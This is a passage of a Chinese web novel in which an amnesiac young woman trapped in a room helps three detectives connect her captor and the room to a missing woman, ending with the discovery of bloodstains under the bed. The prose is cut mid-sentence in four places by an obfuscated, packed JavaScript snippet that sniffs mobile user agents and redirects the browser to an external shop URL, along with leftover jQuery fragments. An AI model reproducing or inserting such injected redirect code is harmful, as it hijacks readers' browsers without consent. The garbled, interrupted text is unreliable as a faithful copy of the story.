凹透镜和凸透镜组成的小型光学镜片在眼前聚焦,门外三个人的虚像成正比例缩小,正好落在目镜的焦点内。 两个身穿藏蓝色警服的男人握着军刀,正与对面拿着斧头的男人缠斗。 虽然她看不懂什么招式,但很明显拿斧头的男人处于下风,估计没多久就要被抓起来了。 真没想到,这个人挺厉害的,能跟两个警察过手这么多回,之前被杀三次还真是没话说,以她这小身板,对方没武器都能轻易弄死她。 还好,她没有选择自己头铁,而是直接报警。 也幸好虽然失忆了,但是没失去常识。 不然即使这笔记本页数写满了也不见得能走出这个房间。 纪然就跟在看电影一样,扒拉在猫眼上看他们打斗,只不过这几个人总是出镜头,看不完整。 “拦住他!” 纪然隔着门听到声音,只见个子较高的警察一只手从那男人背后扭住他的左胳膊,右手穿过去用手肘心禁锢住,肩膀顶在他后背,直接往后一拉,男人发出痛呼。 另一个警察反握刀柄,用军刀上的小口子卡住斧头背后的匕首尖,趁着他因吃痛而暂时无法使劲的时候,伸腿往下一扫,随即立马后退。 那人被这一腿踢到脚踝,往侧边摔倒。 扭住他左手臂的警察眼疾手快,用膝盖顶住他的后背,刚后退两步的警察神龙摆尾般迅猛一脚踢向他拿斧头的手,那人惨叫一声,斧头已经被踢出猫眼范围了。 那警察上前一步,扭住他的右手,抬头冲着另一边喊了一声:“李哥,快来!” 纪然刚眨了几下眼睛,猫眼范围内又出来一个警察,上来就是一片胶带贴在被压在地上的人的嘴巴上,像是在防止他咬人,然后掏出一副银手铐在那人背后咔咔拷住他双手,动作行云流水。 优雅,实在是太优雅了。 纪然在心里咂咂嘴,离开了猫眼。 很快,面前的房门就被敲响了。 “你好,我们是临光区公安部刑事侦查局的警察,已经安全了,你方便开门吗?”一道听起来声线就很干净的磁性声音响起。 警察执法时不会是一个人出警的,至少要两人,其中一人可以是协警,否则办案过程中发生的意外问题无人可以证明。 这点知识她还是记得的。 加上刚从猫眼里看到这三人都穿着警服,还制服了想要杀她的恶人,怎么看都是好人。 纪然抓住门把手,准备开门,然后很尴尬的发现,门打不开…… 又按了几下,还是按不下去,几个人隔着门,视线全都落在按不下去的门把手上,听着这门把手强行按动的声音。 肖羽一边抓着嫌疑人,一边往后退了几步,正想着要不叫里面的人退后点,他直接踹开房门,就被李新咏拉住了。 李新咏一手拉住肖羽,一手拿着手机给医院打电话,取消之前叫的救护车服务。 宋承瞥了肖羽一眼:“里面的人都没说话,你急什么?” 声音隔着普通的防盗门传到纪然耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179093|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,她没吭声,还在尝试打开门。 她转动把门把手下面的执手锁,发现根本转不动。 好奇怪的锁,还能把人反锁在房间里? 纪然想起之前找到一把不知道有什么用的钥匙,还没试过能不能开大门。 从外套口袋里摸出钥匙,对着锁芯插进去,轻轻一拧。 “咔嚓。” 门锁里的传来轻微的声音,紧接着,她拉开了房门。 三个穿着警服的高大男人笔直站立在门前,旁边还有个被抓的恶人,正恶狠狠地盯着她。 纪然看到那人恶狠狠的眼神盯着自己,有些毛骨悚然,强行移开视线忽略他。 一时不知道要说什么,而对面三个警察又在等她说话,一时间几个人有些面面相觑。 气氛尴尬了几秒,最后还是宋承打破了这份安静。 纪然看着三人中站在最后面的男人上前一步,一身裁剪得体的警服将他衬托得身姿挺拔,衣服下鼓起的肌肉充满爆发性的力量与美感,步伐坚定有力,透露出一股正气与威严。 瞧着就像是他们的队长。 “你好,我们是临光区公安部刑事侦查局的警察,之前有接到你的报警电话。我是这次行动任务的队长,嫌疑人已经被制服,你现在安全了,有没有哪里受伤?” 他抬手举着一张证件伸到纪然面前,重复了一遍部门身份。 纪然听出这个声音跟第一遍问话的不是同一个人。她摇了摇头,表示自己没受伤,然后看了看怼到面前的证件。 黑色皮质底的证件上方是大大的警徽,警徽下面是金色的“公安”二字,下方是证件照和身份信息。 「宋承」 「A市临光区公安局」 这人五官偏硬朗,脸部轮廓明显,站得笔直如松,个子也是几人里最高的。 她对比了下面前人的脸和证件照上的照片,确认一致,才开口:“另外两个的呢?” “……” 还以为她要说点什么,结果一开口就是查证件,另外两个人有些无奈,把证件伸到她面前。 「肖羽」 是个剪着寸头看起来很年轻的男人,小麦色的皮肤配上那精致漂亮五官,显出几分野性美。体型虽然没中间那个男人高壮,但也修长挺拔,比她高了接近一个头。袖子被撸上去一截,手臂肌肉线条清晰。 「李新咏」 他看起来比旁边的肖羽要瘦点,皮肤更为白皙。一张清秀俊逸的脸对比旁边二人,看着更像是个科研人员。但从不经意间露出来的,右手食指左右两侧和虎口处的茧来说,不容小觑。 这三人的脸和证件上的照片都对得上,纪然这才完全松了口气。 “我在房间里发现了一些痕迹,或许跟这场绑架有关……”纪然抿了抿嘴,把房门完全拉开,退后几步侧过身示意几人进来。 宋承与李新咏对视一眼,按兵不动地走进这间能一眼看到底的女性房间。肖羽提着魔鬼斧,抓着嫌疑人,见他眼神不怀好意,又给了他一脚,直接踹进门。 纪然避开那人,站到门边上,指着门槛说:“你们看这里,有血迹。” 9. 疑点比心眼还多 三人连同嫌疑人的目光齐刷刷地落在门槛上。 李新咏离门最近,闻言直接蹲下凑近查看。痕迹很小一块,但在刑侦部待了好几年的人不至于连这点眼光都没有。 他没有伸手触碰,而是直接掏出手机拍照,起身对宋承和肖羽说:“一滴血迹,至少干了有四五天。” 宋承看向纪然,有些不明白她,这个任务他收到的任务是绑架案子,面前这个看起来年纪不大的女孩就是报案人,同时也是自称为“被绑架的”受害人。任务信息里只提到这个女孩失忆了,醒来被困在房间里,门口有人蹲守。 其他信息都能对上,只有失忆这点很让人奇怪,一个普通成年男人在经历绑架后都无法这么冷静,何况是一个失忆的小姑娘。 甚至看起来就很弱小,他一拳能打十个的那种。 纪然不知道宋承内心的想法,更不知道居然有人会用自己的拳头攻击能力来比喻她的弱小。 所以纪然毫不知情地任由他打量:“你们应该知道,我失忆了,醒来后就在这个房间里,这个人——” 她指了指那个男人:“一直蹲在房门外,时不时敲门问有没有人,嘴里喊着‘小然快开门’。令我有些奇怪,他不能确定房间里有没有人,为什么要拿着斧头守在门口?” 说到最后一句,纪然还有些后怕,舔了舔有些发干的唇继续说:“我的名字里也有个‘然’字,不知道是同音字还是什么,但我不认识他。之前报警时,你们那边听到我的名字后问我的姓氏是哪个‘jì’字,是不是四季的季。” 她顿了下,把猜测说了出来:“所以我猜,你们在找一个跟我名字发音一样的女性?” 肖羽表情古怪地看向宋承和李新咏,三人对视一眼。 宋承眼神幽深,眉毛浓密入鬓,像两把锋利的剑,直指人心:“你还有什么猜测?” 在不到三十平米的房间里,浑厚深沉的声音宛如一股深不见底的洪流,带着不可侵犯的威严感,仿佛能穿透人的心灵。 面对刚救了自己的人,纪然没有被吓到,眼睛看向墙壁上挂着的电视:“之前大概九点半的时候,电视里放了条新闻直播,讲的是昨天上午十点发现一具男尸,跟三天前的一起失踪案有关。” 纪然回忆了下当时直播的内容,用不太确定的语气说:“失踪人员季某,姓季。再加上这个跟我名字同音的女人,所以我大胆猜测,她的姓是不是跟这个季某一样,禾子季。” 这时,被反拷住双手的男人瞪大眼睛看向纪然,眼底一片猩红,睁着眼睛看人有些可怕,嘴上贴着的胶带令他无法说话,只能发出“唔唔”的闷声。 李新咏走过去撕开胶带:“你要说什么?” 男人冲着纪然咧嘴一笑,神情有些癫狂:“反正你要死,你会死的,你一定会死的——唔唔!” 李新咏面无表情把胶带又贴了回去。 男人那疯狂的模样有些吓到纪然,忍不住退后几步,房间就这么点大,这一退,后背就撞到个人。 宋承扶住她的肩膀,不动声色地放开后继续保持着社交距离。纪然脸色有些不自然地对宋承道了歉,不自然是刚被吓出来的。 “别多想,他精神看起来就不正常。”宋承作为一名人民警察,对人民群众有义务进行心理安慰。 “可别真是个精神病跑出来犯罪吧……”肖羽有些无奈地一笑,他最怕碰到有精神疾病的罪犯,不仅行为毫无逻辑,什么犯法的事都敢做,说了人家也听不懂,事后受害者家属找上门来他甚至都不能还受害者一个公道,容易闹得两边不是人,真想把这种人套麻袋背地里打一顿。 肖羽把魔鬼斧放门后的角落里,空出手把那个男人强行拉扯到房间唯一的椅子旁。椅子推到窗边墙角,然后把男人往椅子上一按。从腰上扯出一根长长的不知道什么材质的细绳,绕了好几圈把人在椅子上捆得结结实实的,最后打了个看起来很复杂的绳结。 “老实点,都这样了还吓唬人家小姑娘!”肖羽调整了下椅子角度,让男人正面对着墙角,省得老看到那能吓哭小孩的狰狞表情。 李新咏作为狙击手退役下来的刑警,善于观察,比较细心。察觉到纪然的神色,想到昨天离开家门前,自家妹妹往他兜里硬塞地几颗糖。 无视角落的动静,李新咏从口袋里掏出一颗糖递给纪然:“我有个跟你差不多大的妹妹,喜欢吃这个,说吃糖的时候心情就会变好。不要怕,他现在伤害不了你。” 轻柔的声音很能挥散人心里的阴霾,纪然收回视线,接过包装得花里胡哨的小小东西:“谢谢。” táng? 是什么? 她低着头打量手里还没拇指大的东西,花里胡哨的包装纸两边呈锯齿状,轻轻一撕就能撕开,露出里面白色的圆润块状。 明明她的失忆并没有失去常识,为什么他们三个看起来对这个叫táng的东西一副稀松平常的样子,而她却没任何熟悉感,像是从来都没听说过。 白色的圆润块状轻轻塞进嘴里,舌尖一卷,一种奇妙的甜腻味道瞬间充斥整个口腔,夹杂着奶香味,纪然瞬间睁大了眼睛。 好好吃! 李新咏哑然失笑,果然还是个小姑娘,跟他妹妹一样,抗拒不了这种甜食。他又掏了掏口袋,摸出剩下的两颗糖递给纪然:“你要是喜欢,回头我问下我妹在哪买的。” 纪然情不自禁地点头。 宋承在他们说话时,暗中打量完了房间,之后目光停在桌上放着的封面图案怪异的笔记本上。 肖羽也悄咪咪地看了一圈,都是很普通的生活家具。他注意到队长的眼神落在桌上,一下子就看到那存在感强烈的笔记本。 但两人都没动,很快就收回了视线,他们只是受邀进门的客人,哪有擅自动主人家东西的道理。 嘴里含着好吃的食物,纪然心情也平静下来:“那我们继续,刚说到我猜测这个女人名字是禾子季的季然,同一个姓,或许跟那个死者季某有关系。” 说到这里,感觉有点太巧了,即便只是个猜测,但是这个线索来的也太巧了。 手臂无意中触碰到了外套的口袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179094|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,里面卡片的硬物感透过部件传递给她。 纪然想起之前黑卡背面的几行字。 「主线剧情已激活」 「支线任务:暂无」 「主线任务:找到消失的房主」 「新手提示:已使用(1/3)」 这个新手提示不知道是怎么使用的,但是想来想去最为怪异的只有那个突然自己开机的电视,和莫名其妙的新闻直播。 无论是她的记忆,还是笔记本第四页写的,都是先是播放了电视,才是发现新手提示已使用一次。 但是笔记本第三页,也就是她的上一次“读档”里,并没有提到这个新手提示。只写着看了个新闻,找到一张奇怪的黑卡。 想到这里,又有些奇怪,为什么第三页的剧情里同样看了新闻直播,但却没有显示已使用新手提示?甚至都没有显示任务激活? 那这个新闻究竟是不是新手提示? 如果是的话,按照这个来推测,房主十有八九跟那个季某有关系。如果不是的话,那电视机为什么莫名其妙的自己开机播放然后关机? 按这个思路来推测,两件事的逻辑上都有bug,却偏偏都事关重要。 大脑内想了半天,实际上也就过去两三秒,纪然不着痕迹地看了一眼桌上的笔记本。 虽然不知道为什么到第四页才激活任务,但她还是比较倾向于那个新闻直播是新手提示。 如此一来,这些线索才都能连上。 毕竟从发音上来讲,房主也是姓季。 结合这些信息,像是有种神秘力量知道她的困境,给她开了金手指似的,这才符合“新手提示”这四个字。 所以这个新手提示应当就是给出能推进任务剧情的线索。 既然是推进剧情的,那她这个猜测属于“官方认证”了。 几个人沉默着,互相对了个眼神,正等着纪然继续说,就听到她把话题一转:“这个房间你们应该已经观察得差不多了吧?” 想起刚才的暗中观察,肖羽笑了一下,在阳光下显出琥珀色的眼眸里闪过一丝诧异,移开了目光。 宋承与李新咏倒是面不改色,一个不吭声,一个大大方方地点头。 李新咏早在站起身面对房间时,多年的隐藏观察习惯就让他不动声色地用眼睛探查完了房间,只要是能被肉眼观察到的细节,他都不会错过。 所以他此时倒是跟上了纪然的思路:“你是想说根据对房间的观察,得出住在这的人的大致形象和生活习惯?” 纪然点点头:“对,我不是这个房间的主人,但整个房间我翻了好几遍,也能推测出一些信息。” 纪然指着桌面上摆放整齐的食物与水:“比如说这里,吃的喝的全都有,但可乐罐子少一瓶,整个房间都没有找到罐子。房间整洁没有一点生活垃圾,连厕所垃圾篓都是空的……” 说到这里,她愣了一下。 记忆里她并没有进过厕所。 一瞬间,那种起鸡皮疙瘩的感觉又来了,莫名的既视感让人有些恍惚。 10. 床底下的血迹 三个人正听着她说话,结果她突然看向房间里的另一个门,发起了呆肖羽顺着她的视线看过去。 “那是卫生间吧,怎么了?” 见纪然还在愣神,他凑过去伸手在她眼前挥了挥。 ? 纪然回过神,疑惑地看过去。 “怎么说着说着就对着卫生间发呆啊?”肖羽眉眼间充满了揶揄,说话时最后几个音上扬,却并没有轻佻的感觉。 纪然舔了舔自己的上颚,猜测应该是笔记本里前面几页的剧情,之前的她探查过厕所,所以有种既视感,但仔细想她也想不起来具体是啥。 “我在想要怎么说,”她垂下眼,隐瞒了关于自身的秘密,“这个房间给我的感觉,就好像是原本住在这个房间的人,只是出门丢了垃圾,结果再也没回来。” 无人注意的角落里,眼里满是红血丝的男人微微眯起眼,肩膀下塌,放松了身体。 宋承眸子很黑,看着卫生间禁闭着的门,只剩这里没有查看过,于是问纪然:“能打开门看下里面吗?” 纪然点头,走过去推开卫生间的门,让开身子。 窗外透进来的光线顺着打开的门照进来,驱散了没有窗户的黑暗。 不到三平米的卫生间让人一览而尽,连个洗漱柜都没有,只有一个洗手台和蹲厕,墙上除了花洒和热水器,就剩放在置物篮里的瓶瓶罐罐。 哦对,还有刚提到的连个垃圾袋都没套的垃圾篓。 三人对视一眼,肖羽走到角落,从口袋里掏出两个耳塞塞进那人的耳里,宋承才缓缓开口:“我们确实在找一个叫季然的人。” 纪然眨巴了几下眼睛。 宋承感觉她这个动作有些引人发笑:“不是说你,你们长得不一样。” 李新咏调出一张照片,把手机屏幕递到纪然面前:“这个女孩就是你说的禾子季的季然,有印象吗?” 抬眼看去,屏幕里的是个看起来二十多岁的年轻女生,一头齐肩黑发,穿着森系小清新的长裙,对着镜头笑得很是秀气腼腆。 纪然摇了摇头:“不认识,没印象。” 肖羽用胳膊轻轻撞了下李新咏,见他转过脸,问:“你看这房间的物品和摆放,跟我们知道的生活习惯是不是吻合?” 李新咏收回手机,没承认也没否认:“有点像,但还不确定。” 听到这,纪然若有所思,走到衣柜前一把拉开柜门:“你们看这服装风格,跟照片里的人穿得一样。” 三人被这突然拉开的衣柜惊了一下,有些不自然地撇开眼,不管怎么说,好歹也是个女性的衣柜,他们三个大男人也不好意思盯着看。 主要是还有个陌生的异性站在这,再去看这种里面性别私密性很高的衣柜就会很让人别扭。 以往检查房间衣柜线索的时候,边上都是熟悉的人。要么是同性要么是叶柯或者其他女警在,当然,特殊情况下比如没女警时,他们也会抛弃性别问题直接检查,但这不是还有个异性在这嘛…… 听到纪然的话,他们才有些尴尬地看向衣柜。 李新咏眼神尖,一下子就看到一条熟悉的裙子,连同衣架一同取下来:“队长,这跟照片里的季然穿的裙子是同一条。” 纪然也有些别扭,论谁听到自己的名字被叫来叫去还不是在叫自己时,都会这样别扭。 看了眼被拿出来的裙子,摸着下巴点点头:“跟照片里的体型差不多,看来这房间就是她的。” 说到这里,她想起来之前被塞进口袋的手机,摸出来递给宋承:“差点忘了,这是之前从枕头下找的手机,我解不开锁,就用来开手电和看时间。” 宋承接过手机,这个套着可爱风格手机壳的手机,在高大男人戴着战术手套的大掌下显得有些格格不入。李新咏和肖羽见到这画面笑了一下,围了过来。 按亮屏幕后出现卡通壁纸,上面时间来到上午十一点十分,电量还剩63%。 “我醒的时候差不多是九点,找到手机时有92%的电。” 三人一听就发现了不对劲,宋承眯了眯眼:“92%的电?那女生是昨晚消失的?” 李新咏立马否认,伸出脚尖在地面上磨了下,战术靴有弹性的鞋底与地面摩擦,随后他蹲下身,用手指掂量灰尘。 “据我们了解到的信息,她是个很爱干净的人,每天都会拖地。看灰尘,她起码有四五天不在这里。” 纪然深以为然。 肖羽皱眉,年轻又野性的脸上做出这幅表情显得有些凶,像是想到了什么,声音有些急促:“四五天前……不就是季铭失踪的那天吗?” 另外两人当然知道这个案子,虽然不是由他们小队负责,但也与他们息息相关。 之前他们手头有一个案子,为此奔波了好几天,通过找到的作案工具与推理出来的犯罪手法,模拟案发现场后,排查作案时间作案空间确定了第一犯罪嫌疑人。 然后在指认第一犯罪嫌疑人定罪时,差了一个最为关键性的证据——人证。又是一番调查,就发现第二小队找到的尸体,居然是他们手头案子上刚找到的,最为关键的目击证人。 之后这个案子就由他们第一小队负责,刚跟第二小队交接完,今天上午八点,上次报案季铭失踪的周林打来电话,说举报自己的朋友,是一个叫季然的女人杀害了他的朋友季铭。 案件一下子有了进展,他们又马不停蹄地展开调查。死者季铭与被举报的嫌疑人季然,系兄妹关系,且在家庭调查中发现两人有过经济纠纷。 一瞬间,关于季然的相关资料纷纷被翻出来,大家对她的一些信息摸了个底。但报案人周林也不清楚季然住在哪,只能提供出她的一些习惯和性格。 通宵工作后又忙了半天,刚吃上从昨晚到今天的第一顿饭,就被派出来出警这场绑架案。 不过真是令人意外,这场绑架案居然跟他们现在调查的案子有关。 四五天前就消失的人,怎么会在房间里留下一个几乎满电的手机? 现在解不开锁,宋承把手机递给李新咏:“等回警局查一下这个手机。” 李新咏点头接过,看向角落里的绑架案嫌疑人,这人也很可疑,他转头问肖羽:“你搜他身了没?” 肖羽点头:“搜了,身上除了那把魔鬼斧,连个手机都没带。问什么他都不吭声,也不知道有没有同伙。” 宋承眼神微动,对纪然说:“你现在不仅跟这场绑架案有关系,还涉及到了第九系列凶杀案。虽然失忆了,但也不排除你的个人嫌疑,后续行动都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179095|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要你配合我们进行调查。” 涉及到了第九系列凶杀案? 纪然回想起来,新闻直播时有提到那个死者是上一个案件的目击证人,死后身上没有痕迹,与好几件凶杀案类似,被并入到了第九系列凶杀案。 她抿了抿唇:“我一直都很配合,但对于这个……怎么说呢……” 见她欲言又止,宋承以为是自己太严肃吓到人,缓了缓面部表情:“吓到了?抱歉,有什么话你可以直接说。” 纪然有些无奈地尴尬一笑:“可能需要你们警方帮忙查一下我的信息,除了名字,我也不知道自己是谁,家住哪里,可能还需要去医院看看脑子?” 这最后一句话说得有点像在骂自己,纪然果断补了句话:“失忆了是得看看医生吧?毕竟我比你们都还要想找回记忆。” 听到这么说,宋承也不是那种拎不清的人,他点点头:“等会跟我们回警局记笔录前可以先去医院看看。” 纪然松了口气,道谢后把注意力又放到这个房间里,想起来还有一处线索没说。 看向这张一米五宽的单人床,她记得在笔记本第三页不仅写着门槛上有血迹,最底下的被褥也有。 她走到床边,扯开被褥。三人的视线跟随她的动作移动,一下子就看到了那些血迹。 肖羽凑近床边,顺着血迹的方向慢慢蹲下查看,然后沿着床沿边的血迹视线继续向下。 对这行有不少经验的他几乎一瞬间就想到一种可能。 他眯起眼睛,配上带着些许张扬的脸,看着更像一只在捕猎中狡猾的野豹。随即他站起身,摸着下巴对身后的宋承和李新咏挑眉:“猜猜床底下有没有surprise?” 两人都没理会他,甚至还想翻个白眼。 这个床的床沿侧边很宽,直接紧贴地面,几乎看不到缝隙,想钻进床底下起码要有人帮忙抬起床。 纪然倒是有些疑惑地看向肖羽:“这个血迹跟床底有什么关系?” 问完后,她后知后觉地想到一个可能,没吭声了。 李新咏走到她面前,挺拔的身影挡住了她的视线。 肖羽手脚麻溜的把床上的东西卷吧卷吧都整齐地堆到桌子上,旁边宋承还扶了一把快从最上面掉下来的枕头。 然后宋承上前跟肖羽一起把床抬起,一个用力,把床从另一边翻起来侧竖着。床底下的未知黑暗也被光驱散,露出里面藏起来的神秘。 三个男人对视一眼,沉默了。 床底下是空的。 但是…… 临夏的阳光透过云层的缝隙洒进窗户里,室内敞亮,让人清楚地看到眼前的场景。 床板背面连同床沿侧边的背面,也就是床翻过来的那一面,画面触目惊心。 木板上,无数道已经干涸的血迹纵横交错,杂乱斑驳,在光线的映照下,呈现出一种暗沉的红色,边缘因为氧化而泛出棕色。 还有很多血点像手指挤压和握拳捶留下来的,而那深浅不一的抓痕,到处都有的拖长血迹,显而易见,那是指甲用力划出来的。 凌乱中透露出疯狂,光是看着就能感受到那种激烈的挣扎,痛苦与绝望。 不大的室内有那么几秒安静极了,连每个人的呼吸声都清晰可闻。 11. 开心往前飞 从床板被推翻后,血迹突兀的暴露在空气里,房间里顿时弥漫着一股铁锈味。 宋承与李新咏都是从陆战特种部队退役后又干了刑侦多年,见到过的各种恐怖的画面数不胜数,面对这种程度的场面,虽然有些不忍,但也没什么不适应。 肖羽喉结上下滚动,缓缓吐出一口气,十指隐隐作痛。 他从警校毕业后才干了两年刑侦,论这种经验,肯定没那两人多,虽然不至于吓到,但多少也有点幻痛。 纪然没听到声音,但闻到了血腥味,有些害怕会看到恐怖的场景,却又忍不住好奇床底里到底有什么,于是戳了戳面前李新咏的后背:“床底有人吗?” 听到身后传来小声地询问,他侧过头轻声说:“没有人,但有点恐怖,女孩子还是不要看了。” 听到没有人,纪然胆子大了很多,毕竟这里站着三个警察,浩然正气比她命还硬,还能有什么可怕的。 于是她探出头。 “嘶——” 宋承和肖羽顿时就把目光都落在了纪然身上,连李新咏都转过身来。 她也咽了咽口水,感觉自己出现了幻痛。 眼前的场景给人一种强烈的视觉冲击,不仅是物理上的存在,更像是一种心理上的折磨。 虽是在明亮的阳光下,但就是因为看得太过于清楚,这些血迹和划痕显得更加恐怖,让整个房间的气氛都压抑起来。 不过纪然也没想到自己的心理素质还挺好的,面对这种场景,她居然没觉得哪里可怕。 虽然不知道自己以前是个什么样的性格,但是就凭今天经历的事,她觉得自己还算是比较冷静理智的人。 除此之外,她对眼前的血腥场面并没有什么恶心不适感,只感觉自己手指幻痛了。 床板后面斑驳的血迹与惨乱的抓痕,她能感受到里面的情绪:惊慌、痛苦、挣扎、疯狂、绝望…… 唯独没有令人害怕,毕竟这种看起来只会让人心疼的场景,有什么好可怕的呢? 通过房间种种痕迹来看,季然可能已经遇害了,但是他们还没有找到尸体。 生不见人,死不见尸。 李新咏又挡住她的视线:“不要看了。” 纪然明白他的好意,微微抿唇摇头:“我没事,就是乍一看感觉有点恐怖,但仔细看其实也没什么好怕的,毕竟这是别人经历的痛苦,我又没害人,该害怕的应该是作恶多端的罪犯才对。” 本以为会被吓到的小姑娘居然意外的大胆,肖羽冲她笑了笑,在自然光线下眼睛呈现出漂亮的琥珀色:“心理素质不错啊,想当初我第一次看到凶杀现场,恶心得整整三天吃不下饭,全靠喝水续命。” 听到夸赞,纪然回给他一个笑。 站在床边的宋承看过来,眼底露出几分赞许:“说的不错,比很多刚进刑侦部的年轻人的思想觉悟还要高。” 他停顿了一下,像是在对纪然说,又像是在对两个队友说:“面对凶杀现场,我们不应该只看到场景的可怕之处,而是要理解受害者所遭受到的痛苦。很多破案的关键细节往往都是在受害者挣扎时留下的,尤其是死亡前,人对求生的本能会传递出很多信息。” 想到自己刚进刑侦部时的表现,肖羽神色有些无奈地耸肩:“知道了,队长。” 见宋承眼神看过来,李新咏点了点头,戴上专用手套,凑到床边仔细地提速着血迹和划痕上的样本,肖羽则是在一旁拍照记录。 看到他们两都应了,纪然眨巴着眼睛左右看了看两人,也莫名其妙地点了点头。 宋承哑然失笑。 知道房间里曾发生过血案,警察三人组都打起精神,仔细检查着房间里的每一个物品和角落,比纪然之前寻找线索时的查找要细致很多,毕竟她又不是专业的。 纪然从桌上的被褥底下扯出笔记本,翻了翻,第四页的剧情已经写到了床底下的痕迹。 靠在衣柜边,她想到这些都算是在剧情推进吧,之后万一她又死了,读档后好歹能多留点记忆,省得跟第一二页一样,开局没多久就出局,一点线索都没拿到。 太阳无声无息地高悬于长空,午时的阳光令空气里的温度上升,不到三十平的房间里待了五个人,穿着警服的三人都热得挽起袖子,连纪然都脱下了外套。 只有角落里被绑着的嫌疑人无人搭理,哪还管他热不热的。 手机上交后纪然就失去了时间概念,不过上一次看时间是十一点十分,也没过去多久,估计现在还不到十一点半,但是…… “咕咕噜——” 她一把按住肚子,许久没进食的身体饥肠辘辘,胃里像是有无数只小虫在啃咬,让人无法忍受。 原本颇显安静的室内只有警察三人组检查痕迹和小声交流的声音,所以这一声胃鸣被所有人都听到了,除了被强行塞着耳塞的嫌疑人。 纪然还没来得及尴尬,饥饿感就如潮水般涌上来,胃部接连发出咕咕声。 三人手上动作同时一顿,对视一眼,肖羽忍俊不禁,宋承看了眼时间,李新咏低头加快了收尾工作。 纪然想到桌上的食物和水,但是这些东西都不是她的,何况房间主人生死不明,她怎么好意思不问自取吃别人的东西。 于是她抬起头,人民警察会给吃不上饭的贫困老百姓一口饭吃吗?她没多大出息,只求能混口饭吃。 宋承跟她目光对上,诡异地看懂了这个眼神:“……” 写完最后几个字,肖羽把记录好的小本子往口袋里一塞,走过来上下打量了纪然一眼,想到一种可能:“你之前说醒来后就在这里,身上的随身物品还在吗?” 摇了摇头,纪然左胳膊挂着外套,把笔记本抱在怀里:“醒来除了身上穿的衣服外什么都没有,这个笔记本还是写了名字才知道是我的。” 拿着这个笔记本根本瞒不了这三人,况且之前放桌上那么显眼,她都注意到了这几人有意无意地看了好几眼笔记本,若不是不确定这东西是不是她的,估计早就翻看了。 她也没想着自己能在刑警眼底下藏住这有三个手机屏幕那么大的厚重笔记本,加上她涉及到了第九系列凶杀案,没当场搜身都算是好的了。 所以纪然也没遮掩笔记本,直接说是她的。 肖羽听到纪然身上什么随身物品都没有,瞥了一眼队长,嘴角勾起。 此时李新咏也收集好了各种痕迹,听到聊天,在窗户边转身逆着光看向纪然:“绑架的人没有留下你的手机,怎么单独留下一个笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179096|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记本?” 他走过来,神色清冷,语气却很温和:“能看看吗?” 知道笔记本是她的这是一码事,看笔记本的内容这又是一码事。 纪然有些犹豫,里面的内容太过于骇人听闻,也很不可思议,而且这关系到她的秘密——万一被发现这东西能让人“复活”,她就会陷入怀璧其罪的困境。 看她眼里露出犹豫之色不说话,宋承黑眸幽深,轻咳一声走上前:“这笔记本……有什么难言之隐吗?” 纪然点头,大脑疯狂运转:“这是我醒来后写的日记,跟案件无关,怕我自己再次失忆才写出来记着的,直接给你们看,我会有点尴尬。” 如果真的是日记本这种记载私人信息的东西,非特殊情况或日记主人的同意外,他们确实不好直接要来看。 肖羽没想太多,瞧出纪然的迟疑,正想开口说点什么转移话题,她就翻开笔记本第一页,不着痕迹地挡住最后一行字,把前面部分露出来给他们看。 「现在是5月10日星期二,上午九点多。」 「我叫纪然,20岁,性别女。」 「醒后发现自己躺在一个陌生的房间里,除了记得自己的名字年龄和一些常识外,失去了所有记忆……」 没露出几秒,纪然就把笔记本合上了,三人看这内容确实是日记,就没再多说什么。 肖羽怕她尴尬,连忙转移话题。对着纪然,嘴角轻轻上扬,勾勒出一个如阳光般灿烂的笑容,让人看了心情都变得明媚起来,然后说:“这里已经全都检查完毕,我们该回去了吧,还得审问那个家伙。” 说到最后一句,他啧了一声,表情瞬间就变了,有些不情不愿的,像是休息天收到了加班通知一样。 回头看了眼房间,宋承点头:“回去吧。” 纪然在心底松了口气,抱着笔记本跟在后面。 